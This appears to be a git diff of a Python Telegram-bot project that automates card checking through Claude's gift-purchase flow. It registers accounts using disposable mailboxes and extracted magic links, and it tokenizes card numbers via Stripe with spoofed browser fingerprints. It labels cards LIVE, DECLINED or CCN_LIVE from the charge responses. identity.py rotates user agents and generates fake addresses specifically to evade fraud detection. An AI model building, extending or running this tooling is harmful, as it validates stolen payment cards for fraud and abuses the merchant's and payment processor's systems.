print(" 请复制 config.toml.example 为 config.toml 并填入实际值:")
|
||||
print(" copy config.toml.example config.toml")
|
||||
sys.exit(1)
|
||||
|
||||
with open(_config_path, "rb") as f:
|
||||
_cfg = tomllib.load(f)
|
||||
|
||||
# --- Claude ---
|
||||
CLAUDE_URL: str = _cfg["claude"]["url"]
|
||||
|
||||
# --- Stripe ---
|
||||
STRIPE_PK: str = _cfg["stripe"]["pk"]
|
||||
PRODUCT_ID: str = _cfg["stripe"]["product_id"]
|
||||
|
||||
# --- Telegram Bot ---
|
||||
TG_BOT_TOKEN: str = _cfg["telegram"]["bot_token"]
|
||||
TG_ALLOWED_USERS: list[int] = _cfg["telegram"].get("allowed_users", [])
|
||||
|
||||
# --- 邮箱系统 ---
|
||||
MAIL_SYSTEMS: list[dict] = _cfg.get("mail", [])
|
||||
33
config.toml.example
Normal file
33
config.toml.example
Normal file
@@ -0,0 +1,33 @@
|
||||
# ============================================================
|
||||
# autoClaude 配置文件模板
|
||||
# 复制本文件为 config.toml 并填入实际值
|
||||
# ============================================================
|
||||
|
||||
# --- Claude ---
|
||||
[claude]
|
||||
url = "https://claude.ai/api/auth/send_magic_link"
|
||||
|
||||
# --- Stripe ---
|
||||
[stripe]
|
||||
pk = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD"
|
||||
product_id = "prod_TXU4hGh2EDxASl"
|
||||
|
||||
# --- Telegram Bot ---
|
||||
[telegram]
|
||||
bot_token = "your_bot_token_here" # @BotFather 获取
|
||||
allowed_users = [] # 允许使用的用户ID列表(空=不限制)
|
||||
|
||||
# --- 邮箱系统(轮询使用,API 接口相同)---
|
||||
# 可添加多个 [[mail]] 块
|
||||
|
||||
[[mail]]
|
||||
base_url = "https://mail.example.com/"
|
||||
admin_email = "admin@example.com"
|
||||
admin_pass = "your_password"
|
||||
domains = ["example.com"]
|
||||
|
||||
# [[mail]]
|
||||
# base_url = "https://mail2.example.com/"
|
||||
# admin_email = "admin@mail2.example.com"
|
||||
# admin_pass = "pass2"
|
||||
# domains = ["domain2.com", "domain3.com"]
|
||||
170
deploy.sh
Normal file
170
deploy.sh
Normal file
@@ -0,0 +1,170 @@
|
||||
#!/bin/bash
|
||||
# ============================================================
|
||||
# autoClaude-TGbot 一键部署脚本
|
||||
# 用法: chmod +x deploy.sh && sudo ./deploy.sh
|
||||
# ============================================================
|
||||
|
||||
set -e
|
||||
|
||||
# --- 颜色 ---
|
||||
RED='\033[0;31m'
|
||||
GREEN='\033[0;32m'
|
||||
YELLOW='\033[1;33m'
|
||||
CYAN='\033[0;36m'
|
||||
NC='\033[0m'
|
||||
|
||||
info() { echo -e "${CYAN}[INFO]${NC} $1"; }
|
||||
ok() { echo -e "${GREEN}[✔]${NC} $1"; }
|
||||
warn() { echo -e "${YELLOW}[!]${NC} $1"; }
|
||||
err() { echo -e "${RED}[✘]${NC} $1"; exit 1; }
|
||||
|
||||
# --- 检查 root ---
|
||||
if [ "$EUID" -ne 0 ]; then
|
||||
err "请使用 sudo 运行: sudo ./deploy.sh"
|
||||
fi
|
||||
|
||||
# --- 变量 ---
|
||||
APP_NAME="autoclaude-tgbot"
|
||||
APP_DIR="$(cd "$(dirname "$0")" && pwd)"
|
||||
SERVICE_FILE="/etc/systemd/system/${APP_NAME}.service"
|
||||
RUN_USER="${SUDO_USER:-$(whoami)}"
|
||||
RUN_GROUP="$(id -gn "$RUN_USER")"
|
||||
|
||||
echo ""
|
||||
echo -e "${CYAN}╔══════════════════════════════════════════╗${NC}"
|
||||
echo -e "${CYAN}║ autoClaude-TGbot 一键部署 ║${NC}"
|
||||
echo -e "${CYAN}╚══════════════════════════════════════════╝${NC}"
|
||||
echo ""
|
||||
info "项目目录: ${APP_DIR}"
|
||||
info "运行用户: ${RUN_USER}"
|
||||
echo ""
|
||||
|
||||
# ============================================================
|
||||
# 1. 安装系统依赖
|
||||
# ============================================================
|
||||
info "检查系统依赖..."
|
||||
|
||||
# 安装 uv(如果不存在)
|
||||
if ! command -v uv &> /dev/null; then
|
||||
info "安装 uv..."
|
||||
curl -LsSf https://astral.sh/uv/install.sh | sh
|
||||
export PATH="$HOME/.local/bin:$PATH"
|
||||
ok "uv 已安装"
|
||||
else
|
||||
ok "uv 已存在 ($(uv --version))"
|
||||
fi
|
||||
|
||||
# ============================================================
|
||||
# 2. 安装 Python 依赖
|
||||
# ============================================================
|
||||
info "安装 Python 依赖..."
|
||||
cd "$APP_DIR"
|
||||
sudo -u "$RUN_USER" uv sync 2>/dev/null || sudo -u "$RUN_USER" uv pip install -r pyproject.toml 2>/dev/null || true
|
||||
ok "依赖安装完成"
|
||||
|
||||
# ============================================================
|
||||
# 3. 检查配置文件
|
||||
# ============================================================
|
||||
if [ ! -f "${APP_DIR}/config.toml" ]; then
|
||||
warn "config.toml 不存在,从模板复制..."
|
||||
cp "${APP_DIR}/config.toml.example" "${APP_DIR}/config.toml"
|
||||
chown "$RUN_USER:$RUN_GROUP" "${APP_DIR}/config.toml"
|
||||
echo ""
|
||||
echo -e "${YELLOW}════════════════════════════════════════════${NC}"
|
||||
echo -e "${YELLOW} ⚠️ 请编辑 config.toml 填入实际配置:${NC}"
|
||||
echo -e "${YELLOW} nano ${APP_DIR}/config.toml${NC}"
|
||||
echo -e "${YELLOW}════════════════════════════════════════════${NC}"
|
||||
echo ""
|
||||
read -p "编辑完成后按 Enter 继续,或 Ctrl+C 退出..." _
|
||||
else
|
||||
ok "config.toml 已存在"
|
||||
fi
|
||||
|
||||
# ============================================================
|
||||
# 4. 获取 uv 和 python 路径
|
||||
# ============================================================
|
||||
UV_PATH="$(sudo -u "$RUN_USER" bash -c 'which uv')"
|
||||
info "uv 路径: ${UV_PATH}"
|
||||
|
||||
# ============================================================
|
||||
# 5. 创建 systemd 服务
|
||||
# ============================================================
|
||||
info "创建 systemd 服务: ${APP_NAME}"
|
||||
|
||||
cat > "$SERVICE_FILE" <<EOF
|
||||
[Unit]
|
||||
Description=autoClaude Telegram Bot
|
||||
After=network.target
|
||||
Wants=network-online.target
|
||||
|
||||
[Service]
|
||||
Type=simple
|
||||
User=${RUN_USER}
|
||||
Group=${RUN_GROUP}
|
||||
WorkingDirectory=${APP_DIR}
|
||||
ExecStart=${UV_PATH} run python bot.py
|
||||
Restart=on-failure
|
||||
RestartSec=10
|
||||
StartLimitIntervalSec=60
|
||||
StartLimitBurst=3
|
||||
|
||||
# 环境
|
||||
Environment=PYTHONUNBUFFERED=1
|
||||
|
||||
# 日志
|
||||
StandardOutput=journal
|
||||
StandardError=journal
|
||||
SyslogIdentifier=${APP_NAME}
|
||||
|
||||
# 安全加固
|
||||
NoNewPrivileges=true
|
||||
ProtectSystem=strict
|
||||
ProtectHome=read-only
|
||||
ReadWritePaths=${APP_DIR}
|
||||
PrivateTmp=true
|
||||
|
||||
[Install]
|
||||
WantedBy=multi-user.target
|
||||
EOF
|
||||
|
||||
ok "服务文件已创建: ${SERVICE_FILE}"
|
||||
|
||||
# ============================================================
|
||||
# 6. 启用并启动服务
|
||||
# ============================================================
|
||||
info "重载 systemd 配置..."
|
||||
systemctl daemon-reload
|
||||
|
||||
info "启用开机自启..."
|
||||
systemctl enable "$APP_NAME"
|
||||
|
||||
info "启动服务..."
|
||||
systemctl restart "$APP_NAME"
|
||||
|
||||
# 等一会检查状态
|
||||
sleep 2
|
||||
|
||||
if systemctl is-active --quiet "$APP_NAME"; then
|
||||
ok "服务已启动!"
|
||||
else
|
||||
warn "服务启动可能失败,请检查日志"
|
||||
fi
|
||||
|
||||
# ============================================================
|
||||
# 7. 完成
|
||||
# ============================================================
|
||||
echo ""
|
||||
echo -e "${GREEN}╔══════════════════════════════════════════╗${NC}"
|
||||
echo -e "${GREEN}║ ✅ 部署完成! ║${NC}"
|
||||
echo -e "${GREEN}╚══════════════════════════════════════════╝${NC}"
|
||||
echo ""
|
||||
echo -e " ${CYAN}常用命令:${NC}"
|
||||
echo ""
|
||||
echo -e " 查看状态 ${GREEN}systemctl status ${APP_NAME}${NC}"
|
||||
echo -e " 查看日志 ${GREEN}journalctl -u ${APP_NAME} -f${NC}"
|
||||
echo -e " 重启服务 ${GREEN}systemctl restart ${APP_NAME}${NC}"
|
||||
echo -e " 停止服务 ${GREEN}systemctl stop ${APP_NAME}${NC}"
|
||||
echo -e " 编辑配置 ${GREEN}nano ${APP_DIR}/config.toml${NC}"
|
||||
echo ""
|
||||
echo -e " ${YELLOW}修改配置后记得重启: systemctl restart ${APP_NAME}${NC}"
|
||||
echo ""
|
||||
75
gift_checker.py
Normal file
75
gift_checker.py
Normal file
@@ -0,0 +1,75 @@
|
||||
from curl_cffi import requests # 用于模拟指纹
|
||||
|
||||
from config import PRODUCT_ID
|
||||
from models import ClaudeAccount
|
||||
from identity import random_address
|
||||
|
||||
|
||||
class GiftChecker:
|
||||
def __init__(self, account: ClaudeAccount):
|
||||
self.account = account
|
||||
|
||||
def purchase(self, pm_id):
|
||||
"""尝试购买 Gift"""
|
||||
url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase"
|
||||
|
||||
headers = {
|
||||
"Host": "claude.ai",
|
||||
"User-Agent": self.account.user_agent,
|
||||
"Content-Type": "application/json",
|
||||
"Accept": "*/*",
|
||||
"Anthropic-Client-Version": "1.0.0",
|
||||
"Anthropic-Client-Platform": "web_claude_ai",
|
||||
"Anthropic-Device-Id": self.account.device_id,
|
||||
"Origin": "https://claude.ai",
|
||||
"Referer": "https://claude.ai/gift",
|
||||
"Cookie": f"sessionKey={self.account.session_key}"
|
||||
}
|
||||
|
||||
payload = {
|
||||
"product_id": PRODUCT_ID,
|
||||
"currency": "USD",
|
||||
"payment_method_id": pm_id,
|
||||
"to_email": self.account.email,
|
||||
"to_name": "",
|
||||
"from_name": "Checker",
|
||||
"from_email": self.account.email,
|
||||
"gift_message": "",
|
||||
"card_color": "clay",
|
||||
"billing_address": random_address(),
|
||||
"scheduled_delivery_at": None
|
||||
}
|
||||
|
||||
try:
|
||||
print(f"[*] 正在尝试扣款 (Gift Purchase)...")
|
||||
resp = requests.post(url, json=payload, headers=headers, impersonate="chrome124")
|
||||
|
||||
resp_json = {}
|
||||
try:
|
||||
resp_json = resp.json()
|
||||
except:
|
||||
pass
|
||||
|
||||
if resp.status_code == 200:
|
||||
print("[$$$] 成功! CHARGED! 该卡有效 (Live)!")
|
||||
return "LIVE"
|
||||
elif resp.status_code == 402:
|
||||
err_msg = resp_json.get("error", {}).get("message", "Unknown error")
|
||||
print(f"[-] 支付失败 (402): {err_msg}")
|
||||
|
||||
if "declined" in err_msg.lower():
|
||||
return "DECLINED"
|
||||
elif "insufficient" in err_msg.lower():
|
||||
return "INSUFFICIENT_FUNDS"
|
||||
elif "security code" in err_msg.lower() or "cvc" in err_msg.lower():
|
||||
print("[!] CCN LIVE (CVC 错误,说明卡号有效)")
|
||||
return "CCN_LIVE"
|
||||
else:
|
||||
return "DEAD"
|
||||
else:
|
||||
print(f"[-] 未知响应 Code: {resp.status_code}, Body: {resp.text}")
|
||||
return "ERROR"
|
||||
|
||||
except Exception as e:
|
||||
print(f"[-] 购买请求异常: {e}")
|
||||
return "ERROR"
|
||||
53
identity.py
Normal file
53
identity.py
Normal file
@@ -0,0 +1,53 @@
|
||||
"""
|
||||
身份伪装模块:随机地址生成 + UA 轮换池
|
||||
用于每次请求使用不同的指纹信息,降低风控触发率。
|
||||
"""
|
||||
|
||||
import random
|
||||
from faker import Faker
|
||||
|
||||
fake = Faker('en_US')
|
||||
|
||||
# --- UA 池 ---
|
||||
UA_LIST = [
|
||||
# Chrome (Windows)
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
|
||||
# Chrome (macOS)
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
|
||||
# Chrome (Linux)
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/135.0.0.0 Safari/537.36",
|
||||
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36",
|
||||
]
|
||||
|
||||
|
||||
def random_ua() -> str:
|
||||
"""随机返回一个 User-Agent"""
|
||||
return random.choice(UA_LIST)
|
||||
|
||||
|
||||
def random_address() -> dict:
|
||||
"""生成一个随机的美国地址"""
|
||||
return {
|
||||
"line1": fake.street_address(),
|
||||
"city": fake.city(),
|
||||
"state": fake.state_abbr(),
|
||||
"postal_code": fake.zipcode(),
|
||||
"country": "US",
|
||||
}
|
||||
|
||||
|
||||
def random_name() -> str:
|
||||
"""生成一个随机的英文姓名"""
|
||||
return fake.name()
|
||||
173
mail_service.py
Normal file
173
mail_service.py
Normal file
@@ -0,0 +1,173 @@
|
||||
import time
|
||||
import re
|
||||
import random
|
||||
import threading
|
||||
import requests as standard_requests # 用于普通API交互
|
||||
|
||||
|
||||
class MailSystem:
|
||||
"""单个邮箱系统实例,支持多域名"""
|
||||
|
||||
def __init__(self, base_url, admin_email, admin_password, domains):
|
||||
self.base_url = base_url
|
||||
self.domains = domains # 该系统支持的域名列表
|
||||
self.token = self._get_token(admin_email, admin_password)
|
||||
self.headers = {"Authorization": self.token}
|
||||
|
||||
def _get_token(self, email, password):
|
||||
"""获取身份令牌,这是我们的通行证"""
|
||||
url = f"{self.base_url}/api/public/genToken"
|
||||
payload = {"email": email, "password": password}
|
||||
try:
|
||||
resp = standard_requests.post(url, json=payload)
|
||||
data = resp.json()
|
||||
if data['code'] == 200:
|
||||
print(f"[+] 令牌获取成功 ({self.base_url}): {data['data']['token'][:10]}...")
|
||||
return data['data']['token']
|
||||
else:
|
||||
raise Exception(f"获取Token失败: {data}")
|
||||
except Exception as e:
|
||||
print(f"[-] 连接邮件系统失败 ({self.base_url}): {e}")
|
||||
return None
|
||||
|
||||
def create_user(self, email_prefix, domain=None):
|
||||
"""在系统里注册一个新邮箱用户"""
|
||||
if domain is None:
|
||||
domain = random.choice(self.domains)
|
||||
full_email = f"{email_prefix}@{domain}"
|
||||
url = f"{self.base_url}/api/public/addUser"
|
||||
payload = {
|
||||
"list": [
|
||||
{
|
||||
"email": full_email,
|
||||
"password": "random_pass_ignoring_this"
|
||||
}
|
||||
]
|
||||
}
|
||||
resp = standard_requests.post(url, json=payload, headers=self.headers)
|
||||
if resp.json().get('code') == 200:
|
||||
print(f"[+] 邮箱用户创建成功: {full_email}")
|
||||
return full_email
|
||||
else:
|
||||
print(f"[-] 创建邮箱失败: {resp.text}")
|
||||
return None
|
||||
|
||||
def wait_for_email(self, to_email, retry_count=20, sleep_time=3):
|
||||
"""像猎人一样耐心等待猎物出现"""
|
||||
url = f"{self.base_url}/api/public/emailList"
|
||||
payload = {
|
||||
"toEmail": to_email,
|
||||
"sendName": "Anthropic",
|
||||
"num": 1,
|
||||
"size": 10,
|
||||
"timeSort": "desc"
|
||||
}
|
||||
|
||||
print(f"[*] 开始轮询邮件,目标: {to_email}...")
|
||||
|
||||
for i in range(retry_count):
|
||||
try:
|
||||
resp = standard_requests.post(url, json=payload, headers=self.headers)
|
||||
data = resp.json()
|
||||
|
||||
if data.get('code') == 200 and data.get('data'):
|
||||
emails = data['data']
|
||||
for email in emails:
|
||||
print(f"[!] 捕获到邮件! 主题: {email.get('subject')}")
|
||||
return email.get('content') or email.get('text')
|
||||
|
||||
print(f"[*] 轮询中 ({i+1}/{retry_count})...")
|
||||
time.sleep(sleep_time)
|
||||
except Exception as e:
|
||||
print(f"[-] 轮询出错: {e}")
|
||||
time.sleep(sleep_time)
|
||||
|
||||
print("[-] 等待超时,未收到邮件。")
|
||||
return None
|
||||
|
||||
def __repr__(self):
|
||||
return f"MailSystem({self.base_url}, domains={self.domains})"
|
||||
|
||||
|
||||
class MailPool:
|
||||
"""多邮箱系统轮询调度器"""
|
||||
|
||||
def __init__(self, mail_configs: list[dict]):
|
||||
"""
|
||||
mail_configs: config.MAIL_SYSTEMS 格式的列表
|
||||
"""
|
||||
self.systems: list[MailSystem] = []
|
||||
self._index = 0
|
||||
self._lock = threading.Lock()
|
||||
|
||||
for cfg in mail_configs:
|
||||
ms = MailSystem(
|
||||
base_url=cfg["base_url"],
|
||||
admin_email=cfg["admin_email"],
|
||||
admin_password=cfg["admin_pass"],
|
||||
domains=cfg["domains"],
|
||||
)
|
||||
if ms.token: # 只添加连接成功的系统
|
||||
self.systems.append(ms)
|
||||
else:
|
||||
print(f"[!] 跳过连接失败的邮箱系统: {cfg['base_url']}")
|
||||
|
||||
if not self.systems:
|
||||
print("[-] 没有可用的邮箱系统!")
|
||||
|
||||
print(f"[+] MailPool 初始化完成,可用系统: {len(self.systems)} 个")
|
||||
|
||||
def next(self) -> MailSystem | None:
|
||||
"""Round-robin 返回下一个系统"""
|
||||
if not self.systems:
|
||||
return None
|
||||
with self._lock:
|
||||
ms = self.systems[self._index % len(self.systems)]
|
||||
self._index += 1
|
||||
return ms
|
||||
|
||||
def create_user(self, email_prefix) -> tuple[str | None, MailSystem | None]:
|
||||
"""
|
||||
使用下一个系统创建用户。
|
||||
返回 (email, 对应的 MailSystem) 或 (None, None)。
|
||||
"""
|
||||
ms = self.next()
|
||||
if not ms:
|
||||
print("[-] 没有可用的邮箱系统")
|
||||
return None, None
|
||||
email = ms.create_user(email_prefix)
|
||||
return email, ms
|
||||
|
||||
def get_system_by_domain(self, email: str) -> MailSystem | None:
|
||||
"""根据邮箱域名找到对应的 MailSystem"""
|
||||
domain = email.split("@")[-1] if "@" in email else ""
|
||||
for ms in self.systems:
|
||||
if domain in ms.domains:
|
||||
return ms
|
||||
return None
|
||||
|
||||
@property
|
||||
def count(self) -> int:
|
||||
return len(self.systems)
|
||||
|
||||
def info(self) -> str:
|
||||
"""返回所有系统的信息摘要"""
|
||||
lines = [f"📬 邮箱系统池(共 {self.count} 个):"]
|
||||
for i, ms in enumerate(self.systems, 1):
|
||||
domains = ", ".join(ms.domains)
|
||||
lines.append(f" {i}. {ms.base_url} → [{domains}]")
|
||||
return "\n".join(lines)
|
||||
|
||||
|
||||
def extract_magic_link(html_content):
|
||||
"""HTML提取出链接"""
|
||||
if not html_content:
|
||||
return None
|
||||
|
||||
pattern = r'href="(https://claude\.ai/[^"]+)"'
|
||||
match = re.search(pattern, html_content)
|
||||
|
||||
if match:
|
||||
url = match.group(1)
|
||||
return url.replace("&", "&")
|
||||
return None
|
||||
498
main.py
498
main.py
@@ -1,492 +1,57 @@
|
||||
import time
|
||||
import uuid
|
||||
import random
|
||||
import string
|
||||
import re
|
||||
import json
|
||||
import base64
|
||||
import requests as standard_requests # 用于普通API交互
|
||||
from curl_cffi import requests # 用于模拟指纹
|
||||
from urllib.parse import urlparse, parse_qs
|
||||
|
||||
# --- 配置区域 (Configuration) ---
|
||||
# cloudmail邮件系统配置
|
||||
MAIL_API_BASE = "https://xxxxx.com/" # 替换为你的邮件API域名
|
||||
ADMIN_EMAIL = "admin@xxxxx.com" # 替换你的管理员邮箱
|
||||
ADMIN_PASS = "xxxxx" # 替换你的管理员密码
|
||||
MAIL_DOMAIN = "xxxxx.com" # 你的临时邮箱域名
|
||||
|
||||
# Claude 配置
|
||||
CLAUDE_URL = "https://claude.ai/api/auth/send_magic_link"
|
||||
#
|
||||
UA = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36"
|
||||
|
||||
# Stripe Public Key
|
||||
STRIPE_PK = "pk_live_51MExQ9BjIQrRQnuxA9s9ahUkfIUHPoc3NFNidarWIUhEpwuc1bdjSJU9medEpVjoP4kTUrV2G8QWdxi9GjRJMUri005KO5xdyD"
|
||||
# Gift Product ID
|
||||
PRODUCT_ID = "prod_TXU4hGh2EDxASl"
|
||||
|
||||
|
||||
class ClaudeAccount:
|
||||
def __init__(self, email, session_key, org_uuid, user_agent):
|
||||
self.email = email
|
||||
self.session_key = session_key
|
||||
self.org_uuid = org_uuid
|
||||
self.user_agent = user_agent
|
||||
self.device_id = str(uuid.uuid4())
|
||||
|
||||
class MailSystem:
|
||||
def __init__(self, base_url, admin_email, admin_password):
|
||||
self.base_url = base_url
|
||||
self.token = self._get_token(admin_email, admin_password)
|
||||
self.headers = {"Authorization": self.token}
|
||||
|
||||
def _get_token(self, email, password):
|
||||
"""获取身份令牌,这是我们的通行证"""
|
||||
url = f"{self.base_url}/api/public/genToken"
|
||||
payload = {"email": email, "password": password}
|
||||
try:
|
||||
resp = standard_requests.post(url, json=payload)
|
||||
data = resp.json()
|
||||
if data['code'] == 200:
|
||||
print(f"[+] 令牌获取成功: {data['data']['token'][:10]}...")
|
||||
return data['data']['token']
|
||||
else:
|
||||
raise Exception(f"获取Token失败: {data}")
|
||||
except Exception as e:
|
||||
print(f"[-] 连接邮件系统失败: {e}")
|
||||
exit(1)
|
||||
|
||||
def create_user(self, email_prefix):
|
||||
"""在你的系统里注册一个新灵魂"""
|
||||
full_email = f"{email_prefix}@{MAIL_DOMAIN}"
|
||||
url = f"{self.base_url}/api/public/addUser"
|
||||
# 接口要求 list 结构
|
||||
payload = {
|
||||
"list": [
|
||||
{
|
||||
"email": full_email,
|
||||
"password": "random_pass_ignoring_this"
|
||||
}
|
||||
]
|
||||
}
|
||||
resp = standard_requests.post(url, json=payload, headers=self.headers)
|
||||
if resp.json().get('code') == 200:
|
||||
print(f"[+] 邮箱用户创建成功: {full_email}")
|
||||
return full_email
|
||||
else:
|
||||
print(f"[-] 创建邮箱失败: {resp.text}")
|
||||
return None
|
||||
|
||||
def wait_for_email(self, to_email, retry_count=20, sleep_time=3):
|
||||
"""像猎人一样耐心等待猎物出现"""
|
||||
url = f"{self.base_url}/api/public/emailList"
|
||||
payload = {
|
||||
"toEmail": to_email,
|
||||
"sendName": "Anthropic", # 发件人是 Anthropic 不是 Claude
|
||||
"num": 1,
|
||||
"size": 10,
|
||||
"timeSort": "desc"
|
||||
}
|
||||
|
||||
print(f"[*] 开始轮询邮件,目标: {to_email}...")
|
||||
|
||||
for i in range(retry_count):
|
||||
try:
|
||||
resp = standard_requests.post(url, json=payload, headers=self.headers)
|
||||
data = resp.json()
|
||||
|
||||
if data.get('code') == 200 and data.get('data'):
|
||||
emails = data['data']
|
||||
# 检查是否有来自 Claude 的邮件
|
||||
for email in emails:
|
||||
# 这里可以加更严格的判断,比如 subject 包含 "sign in"
|
||||
print(f"[!] 捕获到邮件! 主题: {email.get('subject')}")
|
||||
return email.get('content') or email.get('text')
|
||||
|
||||
print(f"[*] 轮询中 ({i+1}/{retry_count})...")
|
||||
time.sleep(sleep_time)
|
||||
except Exception as e:
|
||||
print(f"[-] 轮询出错: {e}")
|
||||
time.sleep(sleep_time)
|
||||
|
||||
print("[-] 等待超时,未收到邮件。")
|
||||
return None
|
||||
|
||||
def extract_magic_link(html_content):
|
||||
"""HTML提取出链接"""
|
||||
if not html_content:
|
||||
return None
|
||||
|
||||
pattern = r'href="(https://claude\.ai/[^"]+)"'
|
||||
match = re.search(pattern, html_content)
|
||||
|
||||
if match:
|
||||
url = match.group(1)
|
||||
return url.replace("&", "&")
|
||||
return None
|
||||
|
||||
|
||||
class StripeTokenizer:
|
||||
def __init__(self, user_agent):
|
||||
self.user_agent = user_agent
|
||||
self.guid = f"{uuid.uuid4()}0a75cf"
|
||||
self.muid = f"{uuid.uuid4()}1d4c1f"
|
||||
self.sid = f"{uuid.uuid4()}eb67c4"
|
||||
self.client_session_id = str(uuid.uuid4())
|
||||
self.elements_session_config_id = str(uuid.uuid4())
|
||||
|
||||
def get_token(self, cc_num, exp_m, exp_y, cvc):
|
||||
"""与 Stripe 交互获取 pm_id"""
|
||||
url = "https://api.stripe.com/v1/payment_methods"
|
||||
|
||||
headers = {
|
||||
"Host": "api.stripe.com",
|
||||
"Content-Type": "application/x-www-form-urlencoded",
|
||||
"Sec-Ch-Ua-Platform": '"Linux"',
|
||||
"User-Agent": self.user_agent,
|
||||
"Accept": "application/json",
|
||||
"Sec-Ch-Ua": '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
|
||||
"Sec-Ch-Ua-Mobile": "?0",
|
||||
"Origin": "https://js.stripe.com",
|
||||
"Sec-Fetch-Site": "same-site",
|
||||
"Sec-Fetch-Mode": "cors",
|
||||
"Sec-Fetch-Dest": "empty",
|
||||
"Referer": "https://js.stripe.com/",
|
||||
"Accept-Encoding": "gzip, deflate, br",
|
||||
"Accept-Language": "zh-CN,zh;q=0.9",
|
||||
"Priority": "u=1, i"
|
||||
}
|
||||
|
||||
# 构造完整的 form-data
|
||||
time_on_page = random.randint(30000, 500000)
|
||||
|
||||
data = {
|
||||
"type": "card",
|
||||
"card[number]": cc_num,
|
||||
"card[cvc]": cvc,
|
||||
"card[exp_year]": exp_y[-2:] if len(exp_y) == 4 else exp_y,
|
||||
"card[exp_month]": exp_m,
|
||||
"allow_redisplay": "unspecified",
|
||||
"billing_details[address][postal_code]": "91505",
|
||||
"billing_details[address][country]": "US",
|
||||
"billing_details[address][line1]": "3891 Libby Street",
|
||||
"billing_details[address][city]": "Burbank",
|
||||
"billing_details[address][state]": "CA",
|
||||
"billing_details[name]": "Test User",
|
||||
"billing_details[phone]": "",
|
||||
"payment_user_agent": "stripe.js/5766238eed; stripe-js-v3/5766238eed; payment-element; deferred-intent; autopm",
|
||||
"referrer": "https://claude.ai",
|
||||
"time_on_page": str(time_on_page),
|
||||
"client_attribution_metadata[client_session_id]": self.client_session_id,
|
||||
"client_attribution_metadata[merchant_integration_source]": "elements",
|
||||
"client_attribution_metadata[merchant_integration_subtype]": "payment-element",
|
||||
"client_attribution_metadata[merchant_integration_version]": "2021",
|
||||
"client_attribution_metadata[payment_intent_creation_flow]": "deferred",
|
||||
"client_attribution_metadata[payment_method_selection_flow]": "automatic",
|
||||
"client_attribution_metadata[elements_session_config_id]": self.elements_session_config_id,
|
||||
"client_attribution_metadata[merchant_integration_additional_elements][0]": "payment",
|
||||
"client_attribution_metadata[merchant_integration_additional_elements][1]": "address",
|
||||
"guid": self.guid,
|
||||
"muid": self.muid,
|
||||
"sid": self.sid,
|
||||
"key": STRIPE_PK,
|
||||
"_stripe_version": "2025-03-31.basil"
|
||||
}
|
||||
|
||||
try:
|
||||
print(f"[*] 正在向 Stripe 请求 Token: {cc_num[:4]}******{cc_num[-4:]}")
|
||||
resp = requests.post(url, data=data, headers=headers, impersonate="chrome124")
|
||||
|
||||
if resp.status_code == 200:
|
||||
pm_id = resp.json().get("id")
|
||||
print(f"[+] Stripe Token 获取成功: {pm_id}")
|
||||
return pm_id
|
||||
else:
|
||||
print(f"[-] Stripe 拒绝: {resp.text}")
|
||||
return None
|
||||
except Exception as e:
|
||||
print(f"[-] Stripe 连接错误: {e}")
|
||||
return None
|
||||
|
||||
|
||||
class GiftChecker:
|
||||
def __init__(self, account: ClaudeAccount):
|
||||
self.account = account
|
||||
|
||||
def purchase(self, pm_id):
|
||||
"""尝试购买 Gift"""
|
||||
url = f"https://claude.ai/api/billing/{self.account.org_uuid}/gift/purchase"
|
||||
|
||||
headers = {
|
||||
"Host": "claude.ai",
|
||||
"User-Agent": self.account.user_agent,
|
||||
"Content-Type": "application/json",
|
||||
"Accept": "*/*",
|
||||
"Anthropic-Client-Version": "1.0.0",
|
||||
"Anthropic-Client-Platform": "web_claude_ai",
|
||||
"Anthropic-Device-Id": self.account.device_id,
|
||||
"Origin": "https://claude.ai",
|
||||
"Referer": "https://claude.ai/gift",
|
||||
"Cookie": f"sessionKey={self.account.session_key}"
|
||||
}
|
||||
|
||||
